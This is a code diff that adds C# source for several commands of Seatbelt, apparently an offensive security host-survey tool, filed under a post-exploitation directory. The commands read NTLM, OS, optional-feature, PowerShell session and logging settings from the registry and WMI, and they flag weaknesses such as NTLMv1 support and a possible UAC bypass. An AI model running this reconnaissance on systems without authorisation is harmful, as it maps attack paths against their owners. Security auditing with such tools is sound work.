b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/NtlmSettingsCommand.cs @@ -0,0 +1,201 @@ +#nullable disable +using Microsoft.Win32; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; +using Seatbelt.Util; +using System; +using System.Collections.Generic; + + +namespace Seatbelt.Commands.Windows +{ + internal class NtlmSettingsCommand : CommandBase + { + public override string Command => "NTLMSettings"; + public override string Description => "NTLM authentication settings"; + public override CommandGroup[] Group => new[] { CommandGroup.System, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public NtlmSettingsCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + yield return new NtlmSettingsDTO() + { + LanmanCompatibilityLevel = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, @"System\CurrentControlSet\Control\Lsa", "LmCompatibilityLevel"), + + ClientRequireSigning = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, @"System\CurrentControlSet\Services\LanmanWorkstation\Parameters", "RequireSecuritySignature") == 1, + ClientNegotiateSigning = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, @"System\CurrentControlSet\Services\LanmanWorkstation\Parameters", "EnableSecuritySignature") == 1, + ServerRequireSigning = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, @"System\CurrentControlSet\Services\LanManServer\Parameters", "RequireSecuritySignature") == 1, + ServerNegotiateSigning = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, @"System\CurrentControlSet\Services\LanManServer\Parameters", "EnableSecuritySignature") == 1, + + //ExtendedProtectionForAuthentication = RegistryUtil.GetValue(RegistryHive.LocalMachine, @"System\CurrentControlSet\Control\LSA", "SuppressExtendedProtection"), + + LdapSigning = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, @"System\CurrentControlSet\Services\LDAP", "LDAPClientIntegrity"), + //DCLdapSigning = RegistryUtil.GetValue(RegistryHive.LocalMachine, @"System\CurrentControlSet\Services\NTDS\Parameters", "LDAPServerIntegrity"), + //LdapChannelBinding = RegistryUtil.GetValue(RegistryHive.LocalMachine, @"System\CurrentControlSet\Services\NTDS\Parameters", "LdapEnforceChannelBinding"), + + NTLMMinClientSec = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, @"SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0", "NtlmMinClientSec"), + NTLMMinServerSec = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, @"SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0", "NtlmMinServerSec"), + + //DCRestrictions = RegistryUtil.GetValue(RegistryHive.LocalMachine, @"System\CurrentControlSet\Services\Netlogon\Parameters", "RestrictNTLMInDomain"), // Network security: Restrict NTLM: NTLM authentication in this domain + //DCExceptions = RegistryUtil.GetValue(RegistryHive.LocalMachine, @"System\CurrentControlSet\Services\Netlogon\Parameters", "DCAllowedNTLMServers"), // Network security: Restrict NTLM: Add server exceptions in this domain + //DCAuditing = RegistryUtil.GetValue(RegistryHive.LocalMachine, @"System\CurrentControlSet\Services\Netlogon\Parameters", "AuditNTLMInDomain"), // Network security: Restrict NTLM: Audit NTLM authentication in this domain + + InboundRestrictions = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, @"System\CurrentControlSet\Control\Lsa\MSV1_0", "RestrictReceivingNTLMTraffic"), // Network security: Restrict NTLM: Incoming NTLM traffic + OutboundRestrictions = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, @"System\CurrentControlSet\Control\Lsa\MSV1_0", "RestrictSendingNTLMTraffic"), // Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers + InboundAuditing = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, @"System\CurrentControlSet\Control\Lsa\MSV1_0", "AuditReceivingNTLMTraffic"), // Network security: Restrict NTLM: Audit Incoming NTLM Traffic + OutboundExceptions = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, @"System\CurrentControlSet\Control\Lsa\MSV1_0", "ClientAllowedNTLMServers"), // Network security: Restrict NTLM: Add remote server exceptions for NTLM authentication + + }; + } + } + + [Flags] + enum SessionSecurity : uint + { + None = 0x00000000, + Integrity = 0x00000010, // Message integrity + Confidentiality = 0x00000020, // Message confidentiality + NTLMv2 = 0x00080000, + Require128BitKey = 0x20000000, + Require56BitKey = 0x80000000 + } + + internal class NtlmSettingsDTO : CommandDTOBase + { + public uint? LanmanCompatibilityLevel { get; set; } + + public bool ClientRequireSigning { get; set; } + public bool ClientNegotiateSigning { get; set; } + public bool ServerRequireSigning { get; set; } + public bool ServerNegotiateSigning { get; set; } + + //public string ExtendedProtectionForAuthentication { get; set; } + + public uint? LdapSigning { get; set; } + //public string LdapChannelBinding { get; set; } + + public uint? NTLMMinClientSec { get; set; } + public uint? NTLMMinServerSec { get; set; } + + //public string DCRestrictions { get; internal set; } + //public string DCExceptions { get; internal set; } + //public string DCAuditing { get; internal set; } + + public uint? InboundRestrictions { get; internal set; } + public uint? OutboundRestrictions { get; internal set; } + public uint? InboundAuditing { get; internal set; } + public string OutboundExceptions { get; internal set; } + } + + [CommandOutputType(typeof(NtlmSettingsDTO))] + internal class NtlmSettingsTextFormatter : TextFormatterBase + { + public NtlmSettingsTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (NtlmSettingsDTO)result; + + string lmStr = null; + switch (dto.LanmanCompatibilityLevel) + { + case 0: lmStr = "Send LM & NTLM responses"; break; + case 1: lmStr = "Send LM & NTLM - Use NTLMv2 session security if negotiated"; break; + case 2: lmStr = "Send NTLM response only"; break; + case null: + case 3: + lmStr = "Send NTLMv2 response only - Win7+ default"; break; + case 4: lmStr = "Send NTLMv2 response only. DC: Refuse LM"; break; + case 5: lmStr = "Send NTLMv2 response only. DC: Refuse LM & NTLM"; break; + default: lmStr = "Unknown"; break; + } + WriteLine(" LanmanCompatibilityLevel : {0}({1})", dto.LanmanCompatibilityLevel, lmStr); + + + + WriteLine("\n NTLM Signing Settings"); + WriteLine(" ClientRequireSigning : {0}", dto.ClientRequireSigning); + WriteLine(" ClientNegotiateSigning : {0}", dto.ClientNegotiateSigning); + WriteLine(" ServerRequireSigning : {0}", dto.ServerRequireSigning); + WriteLine(" ServerNegotiateSigning : {0}", dto.ServerNegotiateSigning); + + + string ldapSigningStr; + switch (dto.LdapSigning) + { + case 0: ldapSigningStr = "No signing"; break; + case 1: case null: ldapSigningStr = "Negotiate signing"; break; + case 2: ldapSigningStr = "Require Signing"; break; + default: ldapSigningStr = "Unknown"; break; + } + WriteLine(" LdapSigning : {0} ({1})", dto.LdapSigning, ldapSigningStr); + + + WriteLine("\n Session Security"); + + if (dto.NTLMMinClientSec != null) + { + var clientSessionSecurity = (SessionSecurity)dto.NTLMMinClientSec; + WriteLine(" NTLMMinClientSec : {0} ({1})", dto.NTLMMinClientSec, clientSessionSecurity); + + if (dto.LanmanCompatibilityLevel < 3 && !clientSessionSecurity.HasFlag(SessionSecurity.NTLMv2)) + { + WriteLine(" [!] NTLM clients support NTLMv1!"); + } + } + + if (dto.NTLMMinServerSec != null) + { + var serverSessionSecurity = (SessionSecurity)dto.NTLMMinServerSec; + WriteLine(" NTLMMinServerSec : {0} ({1})\n", dto.NTLMMinServerSec, serverSessionSecurity); + + if (dto.LanmanCompatibilityLevel < 3 && !serverSessionSecurity.HasFlag(SessionSecurity.NTLMv2)) + { + WriteLine(" [!] NTLM services on this machine support NTLMv1!"); + } + } + + string inboundRestrictStr; + switch (dto.InboundRestrictions) + { + case 0: inboundRestrictStr = "Allow all"; break; + case 1: inboundRestrictStr = "Deny all domain accounts"; break; + case 2: inboundRestrictStr = "Deny all accounts"; break; + default: inboundRestrictStr = "Not defined"; break; + } + + string outboundRestrictStr; + switch (dto.OutboundRestrictions) + { + case 0: outboundRestrictStr = "Allow all"; break; + case 1: outboundRestrictStr = "Audit all"; break; + case 2: outboundRestrictStr = "Deny all"; break; + default: outboundRestrictStr = "Not defined"; break; + } + + string inboundAuditStr; + switch (dto.InboundAuditing) + { + case 0: inboundAuditStr = "Disable"; break; + case 1: inboundAuditStr = "Enable auditing for domain accounts"; break; + case 2: inboundAuditStr = "Enable auditing for all accounts"; break; + default: inboundAuditStr = "Not defined"; break; + } + + WriteLine("\n NTLM Auditing and Restrictions"); + WriteLine(" InboundRestrictions : {0}({1})", dto.InboundRestrictions, inboundRestrictStr); + WriteLine(" OutboundRestrictions : {0}({1})", dto.OutboundRestrictions, outboundRestrictStr); + WriteLine(" InboundAuditing : {0}({1})", dto.InboundAuditing, inboundAuditStr); + WriteLine(" OutboundExceptions : {0}", dto.OutboundExceptions); + } + } +} +#nullable enable \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/OSInfoCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/OSInfoCommand.cs new file mode 100644 index 0000000..e4a2ba9 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/OSInfoCommand.cs @@ -0,0 +1,275 @@ +using Seatbelt.Output.Formatters; +using System; +using System.Collections.Generic; +using System.Globalization; +using System.Linq; +using System.Net; +using System.Net.NetworkInformation; +using System.Security.Principal; +using System.Windows.Forms; +using Microsoft.Win32; +using Seatbelt.Util; +using Seatbelt.Output.TextWriters; +using System.Management; + +namespace Seatbelt.Commands.Windows +{ + internal class OSInfoCommand : CommandBase + { + public override string Command => "OSInfo"; + public override string Description => "Basic OS info (i.e. architecture, OS version, etc.)"; + public override CommandGroup[] Group => new[] { CommandGroup.System, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public OSInfoCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + var ProductName = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, "Software\\Microsoft\\Windows NT\\CurrentVersion", "ProductName"); + var EditionID = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, "Software\\Microsoft\\Windows NT\\CurrentVersion", "EditionID"); + var ReleaseId = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, "Software\\Microsoft\\Windows NT\\CurrentVersion", "ReleaseId"); + var BuildBranch = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, "Software\\Microsoft\\Windows NT\\CurrentVersion", "BuildBranch"); + var CurrentMajorVersionNumber = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentMajorVersionNumber"); + var CurrentVersion = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentVersion"); + + var BuildNumber = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentBuildNumber"); + var UBR = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, "Software\\Microsoft\\Windows NT\\CurrentVersion", "UBR"); + if (!string.IsNullOrEmpty(UBR)) // UBR is not on Win < 10 + { + BuildNumber += ("." + UBR); + } + + if (ThisRunTime.ISRemote()) + { + var isHighIntegrity = true; + var isLocalAdmin = true; + + var arch = ThisRunTime.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE"); + var ProcessorCount = ThisRunTime.GetEnvironmentVariable("NUMBER_OF_PROCESSORS"); + var isVM = IsVirtualMachine(); + + var bootTimeUtc = new DateTime(); + + var strHostName = ThisRunTime.ComputerName; + + var domain = ""; + var wmiData = ThisRunTime.GetManagementObjectSearcher(@"root\cimv2", "Select Domain from Win32_ComputerSystem"); + var data = wmiData.Get(); + foreach (var o in data) + { + var result = (ManagementObject)o; + domain = result["Domain"].ToString(); + } + + var machineGuid = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Cryptography", "MachineGuid"); + var temp = new string[0]; + + yield return new OSInfoDTO( + strHostName, + domain, + "", + ProductName, + EditionID, + ReleaseId, + BuildNumber, + BuildBranch, + CurrentMajorVersionNumber.ToString(), + CurrentVersion, + arch, + ProcessorCount, + isVM, + bootTimeUtc, + isHighIntegrity, + isLocalAdmin, + DateTime.UtcNow, + null, + null, + null, + null, + temp, + machineGuid + ); + } + else + { + var isHighIntegrity = SecurityUtil.IsHighIntegrity(); + var isLocalAdmin = SecurityUtil.IsLocalAdmin(); + + var arch = Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE"); + var ProcessorCount = Environment.ProcessorCount.ToString(); + var isVM = IsVirtualMachine(); + + var now = DateTime.UtcNow; + var bootTimeUtc = now - TimeSpan.FromMilliseconds(Environment.TickCount); + + var strHostName = Dns.GetHostName(); + var properties = IPGlobalProperties.GetIPGlobalProperties(); + var dnsDomain = properties.DomainName; + + var timeZone = TimeZone.CurrentTimeZone; + var cultureInfo = CultureInfo.InstalledUICulture; + var inputLanguage = InputLanguage.CurrentInputLanguage.LayoutName; + + var installedInputLanguages = new List(); + foreach (InputLanguage l in InputLanguage.InstalledInputLanguages) + installedInputLanguages.Add(l.LayoutName); + + var machineGuid = RegistryUtil.GetStringValue(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Cryptography", "MachineGuid"); + + + yield return new OSInfoDTO( + strHostName, + dnsDomain, + WindowsIdentity.GetCurrent().Name, + ProductName, + EditionID, + ReleaseId, + BuildNumber, + BuildBranch, + CurrentMajorVersionNumber.ToString(), + CurrentVersion, + arch, + ProcessorCount, + isVM, + bootTimeUtc, + isHighIntegrity, + isLocalAdmin, + DateTime.UtcNow, + timeZone.StandardName, + timeZone.GetUtcOffset(DateTime.Now).ToString(), + cultureInfo.ToString(), + inputLanguage, + installedInputLanguages.ToArray(), + machineGuid + ); + } + } + + private bool IsVirtualMachine() + { + // returns true if the system is likely a virtual machine + // Adapted from RobSiklos' code from https://stackoverflow.com/questions/498371/how-to-detect-if-my-application-is-running-in-a-virtual-machine/11145280#11145280 + + using (var searcher = ThisRunTime.GetManagementObjectSearcher(@"root\cimv2", "Select * from Win32_ComputerSystem")) + { + using (var items = searcher.Get()) + { + foreach (var item in items) + { + var manufacturer = item["Manufacturer"].ToString().ToLower(); + if ((manufacturer == "microsoft corporation" && item["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL")) + || manufacturer.Contains("vmware") + || manufacturer.Contains("xen") + || item["Model"].ToString() == "VirtualBox") + { + return true; + } + } + } + } + return false; + } + } + + internal class OSInfoDTO : CommandDTOBase + { + public OSInfoDTO(string hostname, string domain, string username, string? productName, string? editionId, string? releaseId, string? build, string? buildBranch, string? currentMajorVersionNumber, string? currentVersion, string architecture, string processorCount, bool isVirtualMachine, DateTime bootTimeUtc, bool isHighIntegrity, bool isLocalAdmin, DateTime currentTimeUtc, string? timeZone, string? timeZoneUtcOffset, string? locale, string? inputLanguage, string[]? installedInputLanguages, string? machineGuid) + { + Hostname = hostname; + Domain = domain; + Username = username; + ProductName = productName; + EditionId = editionId; + ReleaseId = releaseId; + Build = build; + BuildBranch = buildBranch; + CurrentMajorVersionNumber = currentMajorVersionNumber; + CurrentVersion = currentVersion; + Architecture = architecture; + ProcessorCount = processorCount; + IsVirtualMachine = isVirtualMachine; + BootTimeUtc = bootTimeUtc; + IsHighIntegrity = isHighIntegrity; + IsLocalAdmin = isLocalAdmin; + CurrentTimeUtc = currentTimeUtc; + TimeZone = timeZone; + TimeZoneUtcOffset = timeZoneUtcOffset; + Locale = locale; + InputLanguage = inputLanguage; + InstalledInputLanguages = installedInputLanguages; + MachineGuid = machineGuid; + } + + public string Hostname { get; set; } + public string Domain { get; set; } + public string Username { get; set; } + public string? ProductName { get; set; } + public string? EditionId { get; set; } + public string? ReleaseId { get; set; } + public string? Build { get; set; } + public string? BuildBranch { get; set; } + public string? CurrentMajorVersionNumber { get; set; } + public string? CurrentVersion { get; set; } + public string Architecture { get; set; } + public string ProcessorCount { get; set; } + public bool IsVirtualMachine { get; set; } + public DateTime BootTimeUtc { get; set; } + public bool IsHighIntegrity { get; set; } + public bool IsLocalAdmin { get; set; } + public DateTime CurrentTimeUtc { get; set; } + public string? TimeZone { get; set; } + public string? TimeZoneUtcOffset { get; set; } + public string? Locale { get; set; } + public string? InputLanguage; + public string[]? InstalledInputLanguages; + public string? MachineGuid { get; set; } + } + + [CommandOutputType(typeof(OSInfoDTO))] + internal class OsInfoTextFormatter : TextFormatterBase + { + public OsInfoTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (OSInfoDTO)result; + WriteLine(" {0,-30}: {1}", "Hostname", dto.Hostname); + WriteLine(" {0,-30}: {1}", "Domain Name", dto.Domain); + WriteLine(" {0,-30}: {1}", "Username", dto.Username); + WriteLine(" {0,-30}: {1}", "ProductName", dto.ProductName); + WriteLine(" {0,-30}: {1}", "EditionID", dto.EditionId); + WriteLine(" {0,-30}: {1}", "ReleaseId", dto.ReleaseId); + WriteLine(" {0,-30}: {1}", "Build", dto.Build); + WriteLine(" {0,-30}: {1}", "BuildBranch", dto.BuildBranch); + WriteLine(" {0,-30}: {1}", "CurrentMajorVersionNumber", dto.CurrentMajorVersionNumber); + WriteLine(" {0,-30}: {1}", "CurrentVersion", dto.CurrentVersion); + WriteLine(" {0,-30}: {1}", "Architecture", dto.Architecture); + WriteLine(" {0,-30}: {1}", "ProcessorCount", dto.ProcessorCount); + WriteLine(" {0,-30}: {1}", "IsVirtualMachine", dto.IsVirtualMachine); + + var uptime = TimeSpan.FromTicks(dto.CurrentTimeUtc.Ticks - dto.BootTimeUtc.Ticks); + var bootTimeStr = $"{uptime.Days:00}:{uptime.Hours:00}:{uptime.Minutes:00}:{uptime.Seconds:00}"; + WriteLine(" {0,-30}: {1} (Total uptime: {2})", "BootTimeUtc (approx)", dto.BootTimeUtc, bootTimeStr); + WriteLine(" {0,-30}: {1}", "HighIntegrity", dto.IsHighIntegrity); + WriteLine(" {0,-30}: {1}", "IsLocalAdmin", dto.IsLocalAdmin); + + if (!dto.IsHighIntegrity && dto.IsLocalAdmin) + { + WriteLine(" [*] In medium integrity but user is a local administrator - UAC can be bypassed."); + } + + WriteLine($" {"CurrentTimeUtc",-30}: {dto.CurrentTimeUtc} (Local time: {dto.CurrentTimeUtc.ToLocalTime()})"); + WriteLine(" {0,-30}: {1}", "TimeZone", dto.TimeZone); + WriteLine(" {0,-30}: {1}", "TimeZoneOffset", dto.TimeZoneUtcOffset); + WriteLine(" {0,-30}: {1}", "InputLanguage", dto.InputLanguage); + WriteLine(" {0,-30}: {1}", "InstalledInputLanguages", string.Join(", ", dto.InstalledInputLanguages)); + WriteLine(" {0,-30}: {1}", "MachineGuid", dto.MachineGuid); + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/OptionalFeaturesCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/OptionalFeaturesCommand.cs new file mode 100644 index 0000000..87b3b0f --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/OptionalFeaturesCommand.cs @@ -0,0 +1,85 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using Seatbelt.Interop; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; + +namespace Seatbelt.Commands.Windows +{ + internal class OptionalFeaturesCommand : CommandBase + { + public override string Command => "OptionalFeatures"; + public override string Description => "List Optional Features/Roles (via WMI)"; + public override CommandGroup[] Group => new[] { CommandGroup.System, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public OptionalFeaturesCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + var results = new List(); + var wmiData = ThisRunTime.GetManagementObjectSearcher(@"root\cimv2", "SELECT Name,Caption,InstallState FROM Win32_OptionalFeature"); + var featureList = wmiData.Get(); + + WriteHost("{0,-8} {1,-50} {2}", "State", "Name", "Caption"); + + foreach (var feature in featureList) + { + var state = (OptionalFeatureState)Enum.Parse(typeof(OptionalFeatureState), feature["InstallState"].ToString()); + + if(Runtime.FilterResults && state != OptionalFeatureState.Enabled) + continue; + + results.Add(new OptionalFeaturesCommandDTO( + feature["Name"].ToString(), + feature["Caption"].ToString(), + state)); + } + + foreach (var result in results.OrderBy(r => r.Name)) + { + yield return result; + } + } + } + + internal class OptionalFeaturesCommandDTO : CommandDTOBase + { + public OptionalFeaturesCommandDTO(string name, string caption, OptionalFeatureState state) + { + Name = name; + Caption = caption; + State = state; + } + public string Name { get; } + public string Caption { get; } + public OptionalFeatureState State { get; } + } + + internal enum OptionalFeatureState + { + Enabled = 1, + Disabled = 2, + Absent = 3, + Unknown = 4 + } + + [CommandOutputType(typeof(OptionalFeaturesCommandDTO))] + internal class OptionalFeatureTextFormatter : TextFormatterBase + { + public OptionalFeatureTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (OptionalFeaturesCommandDTO)result; + WriteLine("{0,-8} {1,-50} {2}", dto.State, dto.Name, dto.Caption); + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/PSSessionSettingsCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/PSSessionSettingsCommand.cs new file mode 100644 index 0000000..d19bdf6 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/PSSessionSettingsCommand.cs @@ -0,0 +1,121 @@ +using Microsoft.Win32; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; +using Seatbelt.Util; +using System.Xml; +using System.Collections.Generic; +using System.Security.AccessControl; + +namespace Seatbelt.Commands.Windows +{ + class PluginAccess + { + public PluginAccess(string principal, string sid, string permission) + { + Principal = principal; + Sid = sid; + Permission = permission; + } + public string Principal { get; } + public string Sid { get; } + public string Permission { get; } + } + + internal class PSSessionSettingsCommand : CommandBase + { + public override string Command => "PSSessionSettings"; + public override string Description => "Enumerates PS Session Settings from the registry"; + public override CommandGroup[] Group => new[] {CommandGroup.System, CommandGroup.Remote}; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public PSSessionSettingsCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + if (!SecurityUtil.IsHighIntegrity() && !ThisRunTime.ISRemote()) + { + WriteError("Unable to collect. Must be an administrator."); + yield break; + } + + var plugins = new[] { "Microsoft.PowerShell", "Microsoft.PowerShell.Workflow", "Microsoft.PowerShell32" }; + foreach (var plugin in plugins) + { + var config = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, + $"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN\\Plugin\\{plugin}", "ConfigXML"); + + if(config == null) continue;; + + var access = new List(); + + var xmlDoc = new XmlDocument(); + xmlDoc.LoadXml(config); + var security = xmlDoc.GetElementsByTagName("Security"); + + if (security.Count <= 0) + continue; + + foreach (XmlAttribute attr in security[0].Attributes) + { + if (attr.Name != "Sddl") + continue; + + var desc = new RawSecurityDescriptor(attr.Value); + foreach (QualifiedAce ace in desc.DiscretionaryAcl) + { + var principal = ace.SecurityIdentifier.Translate(typeof(System.Security.Principal.NTAccount)).ToString(); + var accessStr = ace.AceQualifier.ToString(); + + access.Add(new PluginAccess( + principal, + ace.SecurityIdentifier.ToString(), + accessStr + )); + } + } + + yield return new PSSessionSettingsDTO( + plugin, + access + ); + } + } + } + + internal class PSSessionSettingsDTO : CommandDTOBase + { + public PSSessionSettingsDTO(string plugin, List permission) + { + Plugin = plugin; + Permission = permission; + } + public string Plugin { get; } + public List Permission { get; } + } + + [CommandOutputType(typeof(PSSessionSettingsDTO))] + internal class PSSessionSettingsFormatter : TextFormatterBase + { + public PSSessionSettingsFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (PSSessionSettingsDTO)result; + + WriteLine(" Name : {0}", dto.Plugin); + + foreach (var access in dto.Permission) + { + WriteLine(" {0,-35} {1,-22}", access.Principal, access.Permission); + } + + WriteLine(); + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/PowerShellCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/PowerShellCommand.cs new file mode 100644 index 0000000..5f46785 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/PowerShellCommand.cs @@ -0,0 +1,245 @@ +using Microsoft.Win32; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; +using System; +using System.Collections.Generic; +using System.Linq; + + +namespace Seatbelt.Commands.Windows +{ + // TODO: Check for the presence of the PSReadline log file + internal class PowerShellCommand : CommandBase + { + public override string Command => "PowerShell"; + public override string Description => "PowerShell versions and security settings"; + public override CommandGroup[] Group => new[] { CommandGroup.System, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public PowerShellCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public string GetOSVersion() + { + var wmiData = ThisRunTime.GetManagementObjectSearcher(@"root\cimv2", "SELECT Version FROM Win32_OperatingSystem"); + + try + { + foreach (var os in wmiData.Get()) + { + return os["Version"].ToString(); + } + } + catch { } + + return ""; + } + + private IEnumerable GetWindowsPowerShellVersions() + { + var versions = new List(); + var PowerShellVersion2 = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellEngine", "PowerShellVersion"); + + if (PowerShellVersion2 != null) + { + versions.Add(PowerShellVersion2); + } + + var PowerShellVersion4Plus = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine", "PowerShellVersion"); + if (PowerShellVersion4Plus != null) + { + versions.Add(PowerShellVersion4Plus); + } + + return versions; + } + + private IEnumerable GetPowerShellCoreVersions() + { + var versions = new List(); + + var keys = ThisRunTime.GetSubkeyNames(RegistryHive.LocalMachine, + @"SOFTWARE\Microsoft\PowerShellCore\InstalledVersions\") ?? new string[] { }; + + + foreach (var key in keys) + { + var version = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, @"SOFTWARE\Microsoft\PowerShellCore\InstalledVersions\" + key, "SemanticVersion"); + if (version != null) + { + versions.Add(version); + } + } + + return versions; + } + + private IEnumerable GetCLRVersions() + { + var versions = new List(); + + var dirs = ThisRunTime.GetDirectories("\\Windows\\Microsoft.Net\\Framework\\"); + foreach (var dir in dirs) + { + if (System.IO.File.Exists($"{dir}\\System.dll")) + { + // yes, I know I'm passing a directory and not a file. I know this is a hack :) + versions.Add(System.IO.Path.GetFileName(dir.TrimEnd(System.IO.Path.DirectorySeparatorChar)).TrimStart('v')); + } + } + + return versions; + } + + + public override IEnumerable Execute(string[] args) + { + + var installedVersions = new List(); + var installedCLRVersions = new List(); + installedVersions.AddRange(GetWindowsPowerShellVersions()); + installedVersions.AddRange(GetPowerShellCoreVersions()); + installedCLRVersions.AddRange(GetCLRVersions()); + + var transcriptionLogging = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, "SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription", "EnableTranscripting") == "1"; + var transcriptionInvocationLogging = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, "SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription", "EnableInvocationHeader") == "1"; + var transcriptionDirectory = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, "SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription", "OutputDirectory"); + var moduleLogging = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, "SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging", "EnableModuleLogging") == "1"; + var moduleNames = ThisRunTime.GetValues(RegistryHive.LocalMachine, @"SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames")?.Keys.ToArray(); + var scriptBlockLogging = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, "SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", "EnableScriptBlockLogging") == "1"; + var scriptBlockInvocationLogging = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, + "SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", + "EnableScriptBlockInvocationLogging") == "1"; + int osVersionMajor = int.Parse(GetOSVersion().Split('.')[0]); + var osSupportsAmsi = osVersionMajor >= 10; + + yield return new PowerShellDTO( + installedCLRVersions.ToArray(), + installedVersions.ToArray(), + transcriptionLogging, + transcriptionInvocationLogging, + transcriptionDirectory, + moduleLogging, + moduleNames, + scriptBlockLogging, + scriptBlockInvocationLogging, + osSupportsAmsi + ); + } + } + + class PowerShellDTO : CommandDTOBase + { + public PowerShellDTO(string[] installedCLRVersions, string[] installedVersions, bool transcriptionLogging, bool transcriptionInvocationLogging, string? transcriptionDirectory, bool moduleLogging, string[]? moduleNames, bool scriptBlockLogging, bool scriptBlockInvocationLogging, bool osSupportsAmsi) + { + InstalledCLRVersions = installedCLRVersions; + InstalledVersions = installedVersions; + TranscriptionLogging = transcriptionLogging; + TranscriptionInvocationLogging = transcriptionInvocationLogging; + TranscriptionDirectory = transcriptionDirectory; + ModuleLogging = moduleLogging; + ModuleNames = moduleNames; + ScriptBlockLogging = scriptBlockLogging; + ScriptBlockInvocationLogging = scriptBlockInvocationLogging; + OsSupportsAmsi = osSupportsAmsi; + } + public string[] InstalledCLRVersions { get; } + public string[] InstalledVersions { get; } + public bool? TranscriptionLogging { get; } + public bool? 